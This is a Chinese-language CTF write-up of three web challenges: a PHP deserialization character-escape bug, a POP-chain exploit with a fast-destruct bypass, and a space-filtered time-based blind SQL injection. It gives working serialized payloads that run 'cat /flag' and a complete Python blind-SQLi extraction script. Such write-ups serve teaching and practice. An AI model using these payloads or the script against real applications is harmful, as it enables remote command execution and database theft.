WEEK4|WEB
逃
源码:
<?php
highlight_file(__FILE__);
function waf($str){
return str_replace("bad","good",$str);
}
class GetFlag {
public $key;
public $cmd = "whoami";
public function __construct($key)
{
$this->key = $key;
}
public function __destruct()
{
system($this->cmd);
}
}
unserialize(waf(serialize(new GetFlag($_GET['key'])))); www-data www-data
经典的反序列化漏洞字符逃逸增多问题 bad 替换为 good 字符增加一位
首先序列化代码很容易构造 如下
<?php
class GetFlag {
public $key;
public $cmd = "ls /";
}
$a = new GetFlag();
echo serialize($a);
得到
O:7:"GetFlag":2:{s:3:"key";N;s:3:"cmd";s:4:"ls /";}
我们需要逃逸的就是s:3:"cmd";s:4:"ls /";} 然后为了更好的闭合我一般都会加上”; 这个符号 也就是需要逃逸”;s:3:"cmd";s:4:"ls /";} 总共24个字符 这样我们只需要写24个bad就行了 我们测验一下
Payload:
?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:4:"ls /";}
找到flag 然后用同样的方法进行获取flag
最终paylod:
?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:9:"cat /flag";}
获得flag
总结
字符逃逸的主要原理就是闭合,和sql注入类似,只不过它判断的是字符串的长度。输入恰好的字符串长度,让无用的部分字符逃逸或吞掉,从而达到我们想要的目的。
逃逸漏洞特点
此类题目的本质就是改变序列化字符串的长度,导致反序列化漏洞
这种题目有个共同点:
php序列化后的字符串经过了替换或者修改,导致字符串长度发生变化。
先将对象序列化,然后将对象中的字符进行过滤,最后再进行反序列化
反序列化字符逃逸问题根据过滤函数一般分为两种,字符数增多和字符数减少
More Fast
考点:
Fast destruct + 基础序列化构造
源代码
<?php
highlight_file(__FILE__);
class Start{
public $errMsg;
public function __destruct() {
die($this->errMsg);
}
}
class Pwn{
public $obj;
public function __invoke(){
$this->obj->evil();
}
public function evil() {
phpinfo();
}
}
class Reverse{
public $func;
public function __get($var) {
($this->func)();
}
}
class Web{
public $func;
public $var;
public function evil() {
if(!preg_match("/flag/i",$this->var)){
($this->func)($this->var);
}else{
echo "Not Flag";
}
}
}
class Crypto{
public $obj;
public function __toString() {
$wel = $this->obj->good;
return "NewStar";
}
}
class Misc{
public function evil() {
echo "good job but nothing";
}
}
$a = @unserialize($_POST['fast']);
throw new Exception("Nope");
Fatal error: Uncaught Exception: Nope in /var/www/html/index.php:55 Stack trace: #0 {main} thrown in /var/www/html/index.php on line 55
这里的POP链构造非常简单 基本了解每一种的魔术方法的触发条件就可以构造了 我们也不多讲 直接给代码
解题:
POP链:__destruct()->__toString()->__get($var)->__invoke()->Web
<?php
class Start{
public $errMsg;
}
class Pwn{
public $obj;
}
class Reverse{
public $func;
}
class Web{
public $func = 'system';
public $var = 'ls /';
}
class Crypto{
public $obj;
}
class Misc{
}
$a = new Start();
$a->errMsg = new Crypto();
$a->errMsg->obj = new Reverse();
$a->errMsg->obj->func = new Pwn();
$a->errMsg->obj->func->obj = new Web();
echo serialize($a);
得到payload:
O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}}
我们传入得到 报错
为什么呢?原来代码里面扔了个异常
这会导致在反序列化之后直接经过异常报错 导致后边的析构函数__destruct()无法触发,所以才有了题目提示
所以就有个Fast desrtuct 这个知识点 我们如何快速触发?
快速触发desrtuct
1.修改序列化数字元素个数
原paylaod:O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}}
改成
O:5:"Start":2:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}
2.去掉序列化尾部 }
O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}
两种都可以 发现flag了 直接cat /f*就行了
paylaod:
fast=O:5:"Start":3:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:7:"cat /f*";}}}}}
得到flag
midsql
考点:
sql时间盲注,过滤了空格
解题****步骤:
测试输入框,发现过滤了空格,其他没有过滤,页面没有回显
preg_match("/( |\n|\x0a)/is", $_REQUEST["id"]) ||
preg_match("/[=\x09\xa0\x0a\x0b\x0c\x0d\x0e]/", $_REQUEST["id"])
使用/**/即可进行时间盲注
直接给脚本吧
import requests
# from tqdm import trange
res = ''
last = ' '
headers = {
'Host': '93af9711-9ca0-455a-977c-d562bb88a211.node4.buuoj.cn:81/',
'Cache-Control': 'max-age=0',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
'Referer': 'http://93af9711-9ca0-455a-977c-d562bb88a211.node4.buuoj.cn:81/',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.9'
}
for i in range(1, 1000):
for j in range(127, 31, -1):
url = r'http://93af9711-9ca0-455a-977c-d562bb88a211.node4.buuoj.cn:81/?id='
# payload = rf'1/**/and/**/if((ascii(substr((select/**/group_concat(schema_name)/**/from/**/information_schema.schemata),{i},1))>{j}),sleep(3),0)' # information_schema,mysql,performance_schema,sys,test,ctf
# payload = rf'1/**/and/**/if((ascii(substr((select/**/database()),{i},1))>{j}),sleep(3),0)'
# payload = rf'1/**/and/**/if((ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/"ctf"),{i},1))>{j}),sleep(3),0)'
# payload = rf'1/**/and/**/if((ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/"items"),{i},1))>{j}),sleep(3),0)' # id,name,price
# payload = rf'1/**/and/**/if((ascii(substr((select/**/group_concat(price)/**/from/**/ctf.items),{i},1))>{j}),sleep(3),0)'
# payload = rf'1/**/and/**/if((ascii(substr((select/**/group_concat(id,0x3a,name,0x3a,price)/**/from/**/ctf.items),{i},1))>{j}),sleep(3),0)'
payload = rf'1/**/and/**/if((ascii(substr((select/**/group_concat(name)/**/from/**/ctf.items),{i},1))>{j}),sleep(4),0)'
url = url + payload
# print(url)
try:
response = requests.get(url=url, timeout=4)
except Exception as e:
last = res
# print(chr(j+1))
res += chr(j + 1)
# print(res)
break
print('[*] ' + res)
得到flag
思考:害 编写代码能力这么弱的我应该怎么办?
版权归原作者 文大。 所有, 如有侵权,请联系我们删除。